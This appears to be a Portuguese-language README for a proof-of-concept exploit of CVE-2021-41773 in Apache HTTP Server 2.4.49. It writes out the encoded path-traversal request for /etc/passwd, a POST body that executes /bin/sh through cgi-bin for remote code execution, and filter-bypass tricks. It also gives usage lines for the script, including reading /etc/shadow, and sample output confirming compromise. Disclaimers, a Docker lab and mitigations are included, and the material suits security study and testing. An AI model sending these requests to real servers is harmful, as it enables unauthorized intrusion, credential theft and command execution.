
Prueba de concepto de CVE-2021-41773
Apenas para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.
PoC desenvolvida para demonstrar e entender a vulnerabilidade CVE-2021-41773, presente no Apache HTTP Server 2.4.49.
A falha reside na função ap_normalize_path(), que não validava corretamente os caracteres codificados em URL. Isso permitia que um atacante saísse do DocumentRoot por meio de uma sequência de caracteres codificados (%2e%2e%2f em vez de ../), lendo arquivos arbitrários do sistema.
Quando o módulo mod_cgi estava habilitado, a vulnerabilidade escalava para RCE (Remote Code Execution), permitindo executar comandos diretamente no servidor com as permissões do processo Apache.
O servidor deve atender todas estas condições para ser vulnerável:
| Condição | Detalhe |
|---|---|
| Versão do Apache | Exatamente 2.4.49 |
| Diretiva de acesso | Require all granted na configuração |
| Módulo CGI | mod_cgi habilitado (apenas para RCE) |
Apache 2.4.49 filtrava o clássico ../, mas não sua versão codificada em URL. O atacante constrói um caminho que o filtro não detecta, mas que o sistema operacional interpreta corretamente:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f é a codificação URL de ../. Apache deixava passar, o SO resolvia, e o resultado era acesso a arquivos fora do diretório web.
Com mod_cgi ativo, o path traversal é usado para apontar para /bin/sh em vez de um arquivo. Apache o trata como um script CGI e o executa. O comando viaja no body do POST como um script shell mínimo:
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh
#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1
A saída do comando chega na resposta HTTP.
A forma mais limpa de reproduzir a vulnerabilidade é com Docker:
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773
Ou com uma imagem manual do Apache 2.4.49 com a configuração vulnerável:
<Directory />
Require all granted
</Directory>
Vou deixar os arquivos de configuração que utilizei para o teste.
Por que 'urllib3' e não 'requests'?
requests re-codifica automaticamente os caracteres do path antes de enviá-los.
Isso quebra o payload porque o servidor recebe %252e em vez de %2e.
urllib3 permite enviar o path sem modificações.
Por que .%2e/ e não %2e%2e/?
Apache filtra %2e%2e/ no módulo mod_rewrite.
A variante .%2e/ é semanticamente equivalente, mas passa pelo filtro,
porque a normalização do path ocorre após a validação.
mod_cgi deve estar habilitado para que o modo RCE funcione.
Sem ele, apenas é possível o path traversal.python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
=======================================================
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC com fins educativos — Apenas em ambientes próprios
=======================================================
[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construída: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...
Servidor Vulnerável, Status code: 200
=== Conteúdo de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...
[+] RCE confirmados
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 ou superior.Require all denied como valor padrão.mod_cgi se não for estritamente necessário.⚠️ Este repositório é apenas para fins educativos.
O uso deste exploit contra sistemas sem autorização expressa é ilegal.
Testado exclusivamente em ambientes locais controlados.
PoC desenvolvida com fins educativos para portfólio de segurança ofensiva.
| Argumento | Obrigatório | Descrição |
|---|
--target | Sim | URL base do servidor (ex: http://localhost:8080) |
--mode | Sim | traversal para ler arquivos, rce para executar comandos |
--cmd | Não | Comando a executar no modo rce (padrão: id) |